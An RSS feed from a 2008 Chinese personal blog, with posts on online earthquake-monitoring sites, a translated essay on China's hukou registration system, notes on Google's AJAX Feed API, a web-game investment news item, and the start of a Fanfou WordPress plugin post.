<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.ihao.net/~d/styles/rss2full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.ihao.net/~d/styles/itemcontent.css" type="text/css" media="screen"?><rss xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>Ihao Press</title><link>http://ihao.net</link><description>No name.No address.Just fate.</description><language>en</language><generator>http://wordpress.org/?v=2.2.2</generator><creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/2.0/</creativeCommons:license><image><link>http://creativecommons.org/licenses/by-nc-sa/2.0/</link><url>http://creativecommons.org/images/public/somerights20.gif</url><title>Some Rights Reserved</title></image><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.ihao.net/Ihao" type="application/rss+xml" /><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.ihao.net%2FIhao" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://www.rojo.com/add-subscription?resource=http%3A%2F%2Ffeeds.ihao.net%2FIhao" src="http://blog.rojo.com/RojoWideRed.gif">Subscribe with Rojo</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.ihao.net/Ihao" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.ihao.net%2FIhao" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.ihao.net%2FIhao" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.ihao.net%2FIhao" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><item><title>在网络上实时监测地震</title><link>http://feeds.ihao.net/~r/Ihao/~3/289137264/</link><category>earthquake</category><category>news</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Mon, 12 May 2008 21:53:45 -0500</pubDate><guid isPermaLink="false">http://ihao.net/2008/05/howto-know-earthquake-2/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>1. IRIS 监测图<br />
该图列出监测到的地震<br />
<a href="http://www.iris.edu/seismon/bigmap/index.phtml">http://www.iris.edu/seismon/bigmap/index.phtml</a></p>
<p>2. USGS 地震记录<br />
该网页列出一周内的2.5级以上的地震记录<br />
<a href="http://earthquake.usgs.gov/eqcenter/recenteqsww/Quakes/quakes_all.html">http://earthquake.usgs.gov/eqcenter/recenteqsww/Quakes/quakes_all.html</a></p>
<p>3. Opera Widget: EarthQuakes Map<br />
该 Opera Widget 显示全球范围内一周内发生的地震，实时更新。（需配合 Opera 使用）<br />
<a href="http://widgets.opera.com/widget/5178/">http://widgets.opera.com/widget/5178/</a></p>
<p>先默哀三分钟。昨天因为是在八楼一点没感觉到有震动，二十楼的同事说时还以为开玩笑呢，再往窗外看才发现楼下已经聚了不少的人了。随后CNBETA上报出在四川汶川发生7.8级的特大地震，比之唐山地震还来得猛烈，后果真是无法想象，自然的力量太憾人了。</p>
<p>为经历了７.８级地震后又经历数百次余震不断的震中地区的死伤人民默哀。</p>
<p><strong>BTW</strong>:以上三条地震信息查询站点是从cnbeta的这篇文章查知：<a href="http://www.cnbeta.com/articles/55511.htm">[知识帖]如何在网络上实时监测地震</a></p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=2tAHcH"><img src="http://feeds.ihao.net/~f/Ihao?i=2tAHcH" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=dN6slH"><img src="http://feeds.ihao.net/~f/Ihao?i=dN6slH" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=8V4kHH"><img src="http://feeds.ihao.net/~f/Ihao?i=8V4kHH" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=F62aVh"><img src="http://feeds.ihao.net/~f/Ihao?i=F62aVh" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=FLyGih"><img src="http://feeds.ihao.net/~f/Ihao?i=FLyGih" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=zj15Kh"><img src="http://feeds.ihao.net/~f/Ihao?i=zj15Kh" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/289137264" height="1" width="1"/>]]></content:encoded><description>1. IRIS 监测图
该图列出监测到的地震
http://www.iris.edu/seismon/bigmap/index.phtml
2. USGS 地震记录
该网页列出一周内的2.5级以上的地震记录
http://earthquake.usgs.gov/eqcenter/recenteqsww/Quakes/quakes_all.html
3. Opera Widget: EarthQuakes Map
该 Opera Widget 显示全球范围内一周内发生的地震，实时更新。（需配合 Opera 使用）
http://widgets.opera.com/widget/5178/
先默哀三分钟。昨天因为是在八楼一点没感觉到有震动，二十楼的同事说时还以为开玩笑呢，再往窗外看才发现楼下已经聚了不少的人了。随后CNBETA上报出在四川汶川发生7.8级的特大地震，比之唐山地震还来得猛烈，后果真是无法想象，自然的力量太憾人了。
为经历了７.８级地震后又经历数百次余震不断的震中地区的死伤人民默哀。
BTW:以上三条地震信息查询站点是从cnbeta的这篇文章查知：[知识帖]如何在网络上实时监测地震</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/05/howto-know-earthquake/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/05/howto-know-earthquake/</feedburner:origLink></item><item><title>中国的户口制度</title><link>http://feeds.ihao.net/~r/Ihao/~3/280754348/</link><category>idear</category><category>blog</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Wed, 30 Apr 2008 07:12:35 -0500</pubDate><guid isPermaLink="false">http://ihao.net/2008/04/hukou-system-in-china/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>原作者: <a href="http://home.wangjianshuo.com/">王建硕</a> 译者: <a href="http://yeeyan.com/space/show/xiaogai">师北宸</a> (<a href="http://www.shibeichen.cn/">Blog</a>)  <a href="http://home.wangjianshuo.com/archives/20060610_hukou_system_in_china.htm">原文链接</a></p>
<p>原文请见：<a href="http://home.wangjianshuo.com/archives/20060610_hukou_system_in_china.htm">HukouSystem in China</a></p>
<p>当身处现有体制之内的时候，你很难认识到体制有什么奇怪的，但是当你有机会与其他国家的人讨论的时候，你就会发现其中的巨大差距了。</p>
<p>今晚我和好朋友一起聊天，聊得很尽兴，我们也谈到了中国的居住许可制度（户口制度）。说实话，在我亲口解释之前我并不觉得这有什么奇怪的。但是说完之后，我觉得户口制度根本毫无道理，而且从我自己的嘴里说出来的时候，我也很吃惊。那下面我来说说什么是户口制度。</p>
<p><strong>什么是户口制度？</strong></p>
<p>从根本上说，户口是政府给提供给公民的居住许可。它的发放以家庭为基础。每一个家庭都有一个记录着家庭成员信息的户口本，这些信息包括姓名、出生日期、相互间的亲缘关系、婚姻状况（如果已婚，要注明配偶是谁）、地址和你所在的单位…</p>
<p>在中国，每个人都有一个户口。</p>
<p><strong>1980年以前的户口状况</strong></p>
<p>在1980年以前，户口极其重要。人们被限制在出生的一小块地方（户口所在地），直到死亡，他们也不能迁徙。他们可以出行，但是在外地他们没有办法得到工作，不能享受公共服务、教育甚至买不到粮食。这就像带着B-1签证（商业）[注] 去其他地方旅行——你可以参观，但是不能在那里工作（这是非法的），不能去学校（没有学校会接收），不能去医院（没有户口，医院不会对你进行治疗）。至于粮食，在那个年代，无论你有多少钱都买不到粮食。你需要用粮票（兑换粮食的货币）和钱一起使用才能买到粮食。粮票只在你的户口所在地的政府发行，所以，基本上如果有粮票的话，你可以生活一段时间，但不会不长（尤其是考虑到那些由某个省或某个市发行的粮票，不能在其他省份或者城市使用）。</p>
<p>因此，在那个年代，如果没有户口的话，人们基本上不能迁徙。有极少数的人会在国内迁徙，但是他们的生存状况几乎就像美国的非法移民一样。</p>
<p>把户口从一个地方迁移到另外一个地方是非常困难的——就像获得美国绿卡一样难。从农村迁移到城市甚至更加困难——户口主要分两种，一种是农村户口，另一种是城镇户口。从农村迁移到农村容易，但是从农村迁移到城市很难——需要花费数年时间。而且仅在非常少的情况下可以“农转非”：1）你考上一所在某个城市的大学，或者2）你的配偶是城里人。这两种方式，你都要等很长时间。每年户口发放都有名额限制，所以你得和别人抢才能拿到户口名额。</p>
<p><strong>1980年以后的户口状况</strong></p>
<p>1980年以后，很多事情都发生了很大的变化。实际上，户口的强制性没有以前那么强了。变化开始于不再需要凭票购粮——有钱就行。对工作来说，有没有户口还是有巨大的差别（到今天依然如此），但是已经可以迁徙了。</p>
<p>这使许多人离开自己的土地到城市去寻找工作——劳动密集型工作——成为了可能。最典型的就是纺织厂的工人、建筑（原文为 consitruction，查无此词，据此判断有可能是作者笔误，将construction写成了consitruction，因此译为“建筑”—— 译者注）工人和保姆。但是，这些农民工的子女的教育问题仍旧是一个大问题。他们不能像其他孩子一样接受教育，因此在某些地方，专门为这些没有户口的孩子建立了学校（民工子弟小学）。从个人感情上讲，我觉得这甚至比当年将“黑人和白人分别对待”的政策还要令人难以接受。</p>
<p><strong>现状</strong></p>
<p>现在，户口不再扮演像以前那样重要的角色了，但是有户口和没户口的人还是有一些差别。我举几个方面为例：</p>
<p>1）医疗保险。比如说，住在上海但没有上海户口的外地人不能享受社会医疗保险。如果生病了，他/她得自掏腰包付医疗费。不过这倒不是一笔很大的开支，因为现在已经有越来越多的商业保险可以保障他们得到医疗保险。</p>
<p>2）工作。许多工作要求有上海户口。这其实是一种歧视，但是因为政策上的原因很多公司老板必须得这么做。</p>
<p>3）安全。广州是一个极端的例子。我几年前去了一趟广州，朋友跟我说一定要随时随身携带身份证。警察可以随时在街上拦下一个人来检查他/她的身份证。如果他们身份证上的地址不是广州，而且他/她又没有临时居住许可（即“暂住证”—译者注）的话，警察有权把他/她扣押并遣返原住地。很多城市都是这么干的。这个政策直到2003年才被取消，因为那时一个叫孙志刚的人在扣押期间被打死了。</p>
<p><strong>户口和我的故事</strong></p>
<p>户口对我的影响很大。我从没上过幼儿园，因为在我5岁的时候我搬到城市去，但是没有得到户口。为了拿到户口花了很长时间，所以幼儿园拒绝接收我。一直到7岁拿到户口之前我只能呆在家里。如果那时候我没有拿到户口的话，我甚至不能上小学。这是一个真实的故事。</p>
<p>从小学到高中毕业（1982-1995），我的户口在洛阳。当我考上上海交通大学之后，我的户口也临时性的迁到了上海交大，户口在学校放了四年。我毕业的时候，我的户口又有了危险，我必须找一个当地的高科技工作，并能在有限的户口名额中拿到一个名额才行。标准非常高——你必须在特定的专业上，有好的档案记录，在特定的地区被雇佣。这完全跟加拿大或美国的移民一样。再回到我的故事，最后我拿到了上海户口。就这样，我把户口从学校转到了上海的另一个地方（我甚至都忘了那地方叫什么了）。直到三年后我买了自己的公寓，才得以将户口从那个地方转到我的公寓地址。这是一段很长的故事，我现在的居住许可是在上海，在我自己的公寓里。</p>
<p>如果我去北京，也会有一些麻烦。根据相关政策，我得拿到北京的暂住证。“暂住证”制度是原有户籍制度的一个大进步，至少我可以有材料证明我是合法的呆在这个城市。（相比于以前，是没办法做到这点的）。尽管如此，这仍是恶法。人们也不禁要问：“我为什么要‘暂时’的住在我自己的国家里”？</p>
<p><strong>户口制度带来的挑战</strong></p>
<p>虽然现在的户口制度被普遍认为是一项不公平和不人道的制度，但我也能看到如果取消这项制度，将带来很大的挑战。政府给人们不同的户口，人们享受的权益也不同，尤其是城市与农村之间更明显。如果取消户口制度，我相信在短时期内会产生混乱——大量的农民从农村涌入城市，以及从小城市涌向大城市。如果处理不当，会引发很大的问题。这就像如果世界上所有的国界都开放，任何人都可以在一夜之内自由的从一个国家迁移到另外一个国家，你可以想象一下会出现什么情况。</p>
<p>如何解决这个历史问题将是这一代中国人面临的一个很大的挑战。</p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=GMP3tG"><img src="http://feeds.ihao.net/~f/Ihao?i=GMP3tG" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=hqQN2G"><img src="http://feeds.ihao.net/~f/Ihao?i=hqQN2G" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=mf5HyG"><img src="http://feeds.ihao.net/~f/Ihao?i=mf5HyG" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=J9t9Gg"><img src="http://feeds.ihao.net/~f/Ihao?i=J9t9Gg" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=cWACag"><img src="http://feeds.ihao.net/~f/Ihao?i=cWACag" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=S2lk1g"><img src="http://feeds.ihao.net/~f/Ihao?i=S2lk1g" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/280754348" height="1" width="1"/>]]></content:encoded><description>原作者: 王建硕 译者: 师北宸 (Blog)  原文链接
原文请见：HukouSystem in China
当身处现有体制之内的时候，你很难认识到体制有什么奇怪的，但是当你有机会与其他国家的人讨论的时候，你就会发现其中的巨大差距了。
今晚我和好朋友一起聊天，聊得很尽兴，我们也谈到了中国的居住许可制度（户口制度）。说实话，在我亲口解释之前我并不觉得这有什么奇怪的。但是说完之后，我觉得户口制度根本毫无道理，而且从我自己的嘴里说出来的时候，我也很吃惊。那下面我来说说什么是户口制度。
什么是户口制度？
从根本上说，户口是政府给提供给公民的居住许可。它的发放以家庭为基础。每一个家庭都有一个记录着家庭成员信息的户口本，这些信息包括姓名、出生日期、相互间的亲缘关系、婚姻状况（如果已婚，要注明配偶是谁）、地址和你所在的单位…
在中国，每个人都有一个户口。
1980年以前的户口状况
在1980年以前，户口极其重要。人们被限制在出生的一小块地方（户口所在地），直到死亡，他们也不能迁徙。他们可以出行，但是在外地他们没有办法得到工作，不能享受公共服务、教育甚至买不到粮食。这就像带着B-1签证（商业）[注] 去其他地方旅行——你可以参观，但是不能在那里工作（这是非法的），不能去学校（没有学校会接收），不能去医院（没有户口，医院不会对你进行治疗）。至于粮食，在那个年代，无论你有多少钱都买不到粮食。你需要用粮票（兑换粮食的货币）和钱一起使用才能买到粮食。粮票只在你的户口所在地的政府发行，所以，基本上如果有粮票的话，你可以生活一段时间，但不会不长（尤其是考虑到那些由某个省或某个市发行的粮票，不能在其他省份或者城市使用）。
因此，在那个年代，如果没有户口的话，人们基本上不能迁徙。有极少数的人会在国内迁徙，但是他们的生存状况几乎就像美国的非法移民一样。
把户口从一个地方迁移到另外一个地方是非常困难的——就像获得美国绿卡一样难。从农村迁移到城市甚至更加困难——户口主要分两种，一种是农村户口，另一种是城镇户口。从农村迁移到农村容易，但是从农村迁移到城市很难——需要花费数年时间。而且仅在非常少的情况下可以“农转非”：1）你考上一所在某个城市的大学，或者2）你的配偶是城里人。这两种方式，你都要等很长时间。每年户口发放都有名额限制，所以你得和别人抢才能拿到户口名额。
1980年以后的户口状况
1980年以后，很多事情都发生了很大的变化。实际上，户口的强制性没有以前那么强了。变化开始于不再需要凭票购粮——有钱就行。对工作来说，有没有户口还是有巨大的差别（到今天依然如此），但是已经可以迁徙了。
这使许多人离开自己的土地到城市去寻找工作——劳动密集型工作——成为了可能。最典型的就是纺织厂的工人、建筑（原文为 consitruction，查无此词，据此判断有可能是作者笔误，将construction写成了consitruction，因此译为“建筑”—— 译者注）工人和保姆。但是，这些农民工的子女的教育问题仍旧是一个大问题。他们不能像其他孩子一样接受教育，因此在某些地方，专门为这些没有户口的孩子建立了学校（民工子弟小学）。从个人感情上讲，我觉得这甚至比当年将“黑人和白人分别对待”的政策还要令人难以接受。
现状
现在，户口不再扮演像以前那样重要的角色了，但是有户口和没户口的人还是有一些差别。我举几个方面为例：
1）医疗保险。比如说，住在上海但没有上海户口的外地人不能享受社会医疗保险。如果生病了，他/她得自掏腰包付医疗费。不过这倒不是一笔很大的开支，因为现在已经有越来越多的商业保险可以保障他们得到医疗保险。
2）工作。许多工作要求有上海户口。这其实是一种歧视，但是因为政策上的原因很多公司老板必须得这么做。
3）安全。广州是一个极端的例子。我几年前去了一趟广州，朋友跟我说一定要随时随身携带身份证。警察可以随时在街上拦下一个人来检查他/她的身份证。如果他们身份证上的地址不是广州，而且他/她又没有临时居住许可（即“暂住证”—译者注）的话，警察有权把他/她扣押并遣返原住地。很多城市都是这么干的。这个政策直到2003年才被取消，因为那时一个叫孙志刚的人在扣押期间被打死了。
户口和我的故事
户口对我的影响很大。我从没上过幼儿园，因为在我5岁的时候我搬到城市去，但是没有得到户口。为了拿到户口花了很长时间，所以幼儿园拒绝接收我。一直到7岁拿到户口之前我只能呆在家里。如果那时候我没有拿到户口的话，我甚至不能上小学。这是一个真实的故事。
从小学到高中毕业（1982-1995），我的户口在洛阳。当我考上上海交通大学之后，我的户口也临时性的迁到了上海交大，户口在学校放了四年。我毕业的时候，我的户口又有了危险，我必须找一个当地的高科技工作，并能在有限的户口名额中拿到一个名额才行。标准非常高——你必须在特定的专业上，有好的档案记录，在特定的地区被雇佣。这完全跟加拿大或美国的移民一样。再回到我的故事，最后我拿到了上海户口。就这样，我把户口从学校转到了上海的另一个地方（我甚至都忘了那地方叫什么了）。直到三年后我买了自己的公寓，才得以将户口从那个地方转到我的公寓地址。这是一段很长的故事，我现在的居住许可是在上海，在我自己的公寓里。
如果我去北京，也会有一些麻烦。根据相关政策，我得拿到北京的暂住证。“暂住证”制度是原有户籍制度的一个大进步，至少我可以有材料证明我是合法的呆在这个城市。（相比于以前，是没办法做到这点的）。尽管如此，这仍是恶法。人们也不禁要问：“我为什么要‘暂时’的住在我自己的国家里”？
户口制度带来的挑战
虽然现在的户口制度被普遍认为是一项不公平和不人道的制度，但我也能看到如果取消这项制度，将带来很大的挑战。政府给人们不同的户口，人们享受的权益也不同，尤其是城市与农村之间更明显。如果取消户口制度，我相信在短时期内会产生混乱——大量的农民从农村涌入城市，以及从小城市涌向大城市。如果处理不当，会引发很大的问题。这就像如果世界上所有的国界都开放，任何人都可以在一夜之内自由的从一个国家迁移到另外一个国家，你可以想象一下会出现什么情况。
如何解决这个历史问题将是这一代中国人面临的一个很大的挑战。</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/04/hukou-system-in-china/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/04/hukou-system-in-china/</feedburner:origLink></item><item><title>iHao学google API(1)</title><link>http://feeds.ihao.net/~r/Ihao/~3/278830633/</link><category>google</category><category>code</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Sun, 27 Apr 2008 09:42:28 -0500</pubDate><guid isPermaLink="false">http://ihao.net/2008/04/ihao-use-google-api-1/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>忽然发现<a href="http://code.google.com/">code.google.com</a>里有google官方开放的相当多API,documents也相当齐全,像Gears, Maps API, Gadgets API, AJAX Search API, AJAX APIs, AJAX Feed API等等,看着相当诱人,也实用.那么就一个个来试试看吧.</p>
<p>经过一番筛选,觉得最容易也挺实用的就是<a href="http://code.google.com/apis/ajaxfeeds/">AJAX Feed API</a>下的<a href="http://www.google.com/uds/solutions/dynamicfeed/index.html">AJAX Dynamic Feed Control</a>分支.能实现一个相当令我愉快的功能:<strong>无须服务端跨域调用各API的xml数据,并动态显示</strong>.</p>
<p>之所以这么让我愉快是因为前面写过一段<a href="http://ihao.net/2008/02/use-fanfou-api-integration-to-wordpress-update/">用wordpress内置功能来读取饭否API显示到blog上的PHP小代码</a>,但最近工作一直都在写javascript,用的框架是jQuery,看到jQuery里有个函数$.getJSON()可以跨域调用json,本想用这个来再试着写个更简单些的调用饭否API的小代码,但怎奈何不知是服务端的问题还是我写的不对,莫名其妙地就是读不出来.而读Flickr的json API就可以,相当令我郁闷.这时翻到了google的这个<a href="http://code.google.com/apis/ajaxfeeds/">AJAX Feed API</a>,怎能不令我兴奋.呵呵.</p>
<p>OK,闲话完毕,先出<strong>demo: <a href="http://ihao.net/ilab/google/gsblogbar.htm">http://ihao.net/ilab/google/gsblogbar.htm</a></strong></p>
<p>效果比原先我用php写的静态输出内容的确实好很多.能提供的内容展示也更多(比如我可以前饭否的最新十条消息,blog最新的十篇文章标题都放在里面做轮循).不过这种用ajax输出的内容能否被搜索引擎抓到还是相当不乐观的,因此再结合自己在blog里不输出任何图片及javascript的原则,目前还没有应用上的打算.存下这个<a href="http://ihao.net/ilab/google/gsblogbar.htm">demo</a>以后有机会再用.</p>
<p>做到demo所示的那样实在没啥好说的,一切都是按照google给出的<a href="http://www.google.com/uds/solutions/dynamicfeed/reference.html">Dynamic Feed Control Programming Guide</a>做就成了.唯一做了些修改的就是在css上,隐藏了默认输出的google logo.对显示样式也改了下.无他.对了,还要<a href="http://code.google.com/apis/ajaxfeeds/signup.html">申请个Google AJAX Feed API key</a>.因为引用的js包需要附上这个key,不过好像测试时不加上key对这个应该还是没关系的.</p>
<p>几个参数作下翻译吧</p>
<blockquote><p>linkTarget : google.feeds.LINK_TARGET_BLANK (在新窗口打开链接)<br />
pauseOnHover : true / false (鼠标悬停时是否停止滚动)<br />
title : (默认分类标题,当然也可不指定,定义到feed的参数项里)<br />
stacked : true / false (大载入多条feed源时控制顶上动态的显示的显示范围)<br />
horizontal : true / false (水平模式)<br />
numResults : 10 (抓取feed内容的结果数)<br />
displayTime : 5000 (滚动显示处的停滞时间)<br />
fadeOutTime : 500 (淡出时间)<br />
scrollOnFadeOut : true / false (滚动淡出设置)
</p></blockquote>
<p><strong>update</strong>:今天在google reader里发现了一个无比牛比的利用google api来<a href="http://en.wikipedia.org/wiki/Mashup_(web_application_hybrid)">mashup</a>的web:<a href="http://www.ieuro2008.com/">欧洲杯2008的Mashup</a>,说明文章见：<a href="http://www.yangfan.net/blog/mashup_ieuro2008.htm">Mashup: www.ieuro2008.com</a>(谷歌中国的<a href="http://www.yangfan.net/">YangFan</a>)</p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=2rZayG"><img src="http://feeds.ihao.net/~f/Ihao?i=2rZayG" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=JC37OG"><img src="http://feeds.ihao.net/~f/Ihao?i=JC37OG" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=Hy7ckG"><img src="http://feeds.ihao.net/~f/Ihao?i=Hy7ckG" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=QWkn5g"><img src="http://feeds.ihao.net/~f/Ihao?i=QWkn5g" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=a9BsAg"><img src="http://feeds.ihao.net/~f/Ihao?i=a9BsAg" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=Yjv1tg"><img src="http://feeds.ihao.net/~f/Ihao?i=Yjv1tg" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/278830633" height="1" width="1"/>]]></content:encoded><description>忽然发现code.google.com里有google官方开放的相当多API,documents也相当齐全,像Gears, Maps API, Gadgets API, AJAX Search API, AJAX APIs, AJAX Feed API等等,看着相当诱人,也实用.那么就一个个来试试看吧.
经过一番筛选,觉得最容易也挺实用的就是AJAX Feed API下的AJAX Dynamic Feed Control分支.能实现一个相当令我愉快的功能:无须服务端跨域调用各API的xml数据,并动态显示.
之所以这么让我愉快是因为前面写过一段用wordpress内置功能来读取饭否API显示到blog上的PHP小代码,但最近工作一直都在写javascript,用的框架是jQuery,看到jQuery里有个函数$.getJSON()可以跨域调用json,本想用这个来再试着写个更简单些的调用饭否API的小代码,但怎奈何不知是服务端的问题还是我写的不对,莫名其妙地就是读不出来.而读Flickr的json API就可以,相当令我郁闷.这时翻到了google的这个AJAX Feed API,怎能不令我兴奋.呵呵.
OK,闲话完毕,先出demo: http://ihao.net/ilab/google/gsblogbar.htm
效果比原先我用php写的静态输出内容的确实好很多.能提供的内容展示也更多(比如我可以前饭否的最新十条消息,blog最新的十篇文章标题都放在里面做轮循).不过这种用ajax输出的内容能否被搜索引擎抓到还是相当不乐观的,因此再结合自己在blog里不输出任何图片及javascript的原则,目前还没有应用上的打算.存下这个demo以后有机会再用.
做到demo所示的那样实在没啥好说的,一切都是按照google给出的Dynamic Feed Control Programming Guide做就成了.唯一做了些修改的就是在css上,隐藏了默认输出的google logo.对显示样式也改了下.无他.对了,还要申请个Google AJAX Feed API key.因为引用的js包需要附上这个key,不过好像测试时不加上key对这个应该还是没关系的.
几个参数作下翻译吧
linkTarget : google.feeds.LINK_TARGET_BLANK (在新窗口打开链接)
pauseOnHover : true / false (鼠标悬停时是否停止滚动)
title : (默认分类标题,当然也可不指定,定义到feed的参数项里)
stacked : true / false (大载入多条feed源时控制顶上动态的显示的显示范围)
horizontal : true / false (水平模式)
numResults : 10 (抓取feed内容的结果数)
displayTime : [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/04/ihao-use-google-api-1/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/04/ihao-use-google-api-1/</feedburner:origLink></item><item><title>红杉投资网页游戏开发运营商</title><link>http://feeds.ihao.net/~r/Ihao/~3/272774743/</link><category>news</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Fri, 18 Apr 2008 04:38:04 -0500</pubDate><guid isPermaLink="false">http://ihao.net/2008/04/webgame-webmage-webmage/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>据红杉资本董事计越证实，红杉资本已向网页游戏开发运营商51wan.com投资，但他拒绝透露投资数额。计越表示，红杉对网络游戏产业加大了关注，已经有一系列的投资，此次51wan是其中之一，属于介入很早期的那种。</p>
<p>目前，国内最大的网页游戏为《猫游记》有超过5万同时在线，包括盛大等国内网游巨头也已于近日推出网页游戏，其中盛大的《纵横天下》有2万平均同时在线，日收入超过15万元。</p>
<p>51wan公司CEO刘阳认为，2008年网页游戏销售额将突破5亿元人民币，较2007年的5000万增长1000%。该公司计划在08年投入自我开发和代理的网页游戏计10款。</p>
<div class="feedflare">
<a href="http://feeds.ihao.net/~f/Ihao?a=J5wy8I"><img src="http://feeds.ihao.net/~f/Ihao?i=J5wy8I" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=yDt4KI"><img src="http://feeds.ihao.net/~f/Ihao?i=yDt4KI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=iIO4iI"><img src="http://feeds.ihao.net/~f/Ihao?i=iIO4iI" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=f7mCFi"><img src="http://feeds.ihao.net/~f/Ihao?i=f7mCFi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=blsYTi"><img src="http://feeds.ihao.net/~f/Ihao?i=blsYTi" border="0"></img></a> <a href="http://feeds.ihao.net/~f/Ihao?a=ITAkji"><img src="http://feeds.ihao.net/~f/Ihao?i=ITAkji" border="0"></img></a>
</div><img src="http://feeds.ihao.net/~r/Ihao/~4/272774743" height="1" width="1"/>]]></content:encoded><description>据红杉资本董事计越证实，红杉资本已向网页游戏开发运营商51wan.com投资，但他拒绝透露投资数额。计越表示，红杉对网络游戏产业加大了关注，已经有一系列的投资，此次51wan是其中之一，属于介入很早期的那种。
目前，国内最大的网页游戏为《猫游记》有超过5万同时在线，包括盛大等国内网游巨头也已于近日推出网页游戏，其中盛大的《纵横天下》有2万平均同时在线，日收入超过15万元。
51wan公司CEO刘阳认为，2008年网页游戏销售额将突破5亿元人民币，较2007年的5000万增长1000%。该公司计划在08年投入自我开发和代理的网页游戏计10款。</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://ihao.net/2008/04/webgame-webmage-webmage/feed/</wfw:commentRss><feedburner:origLink>http://ihao.net/2008/04/webgame-webmage-webmage/</feedburner:origLink></item><item><title>再用fanfou的api集成微内容列表</title><link>http://feeds.ihao.net/~r/Ihao/~3/241863527/</link><category>plugins</category><category>code</category><category>tutorial</category><category>wordpress</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">iHao</dc:creator><pubDate>Tue, 26 Feb 2008 21:32:29 -0600</pubDate><guid isPermaLink="false">http://ihao.net/2008/02/use-fanfou-api-integration-to-wordpress-update/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>看到有朋友提出这个<a href="http://ihao.net/2007/08/use-fanfou-api-integration-to-wordpress/#comment-422">源码用不了</a>，于是乎作了些修改并测试了新版WP下的效果，都可以正常运行。</p>
<p>本来这几句代码是用在自己的blog上，没想到会有这些许朋友用到它。文件里关于使用方法及修改说明也写得乱七八糟的，今天重新作了修改，附上详细说明：</p>
<p><strong>解包及配置</strong>:</p>
<p>下载文件包：fanfou_ing_plugin_for_wordpress.zip (google code host不给我传文件faint~~暂时先用svn co吧，或者邮件送出)</p>
<p>如果你也用svn的话那么请从这儿checkout:</p>
<blockquote><p>http://ihao.googlecode.com/svn/trunk/plugin/wordpress/fanfou</p></blockquote>
<p><strong>解压后得到俩个文件</strong>：</p>
<ul>
<li>ing.php (输出最新的单条饭否消息) </li>
<li>ings.php (输出20饭否存档信息的page模板)</li>
</ul>
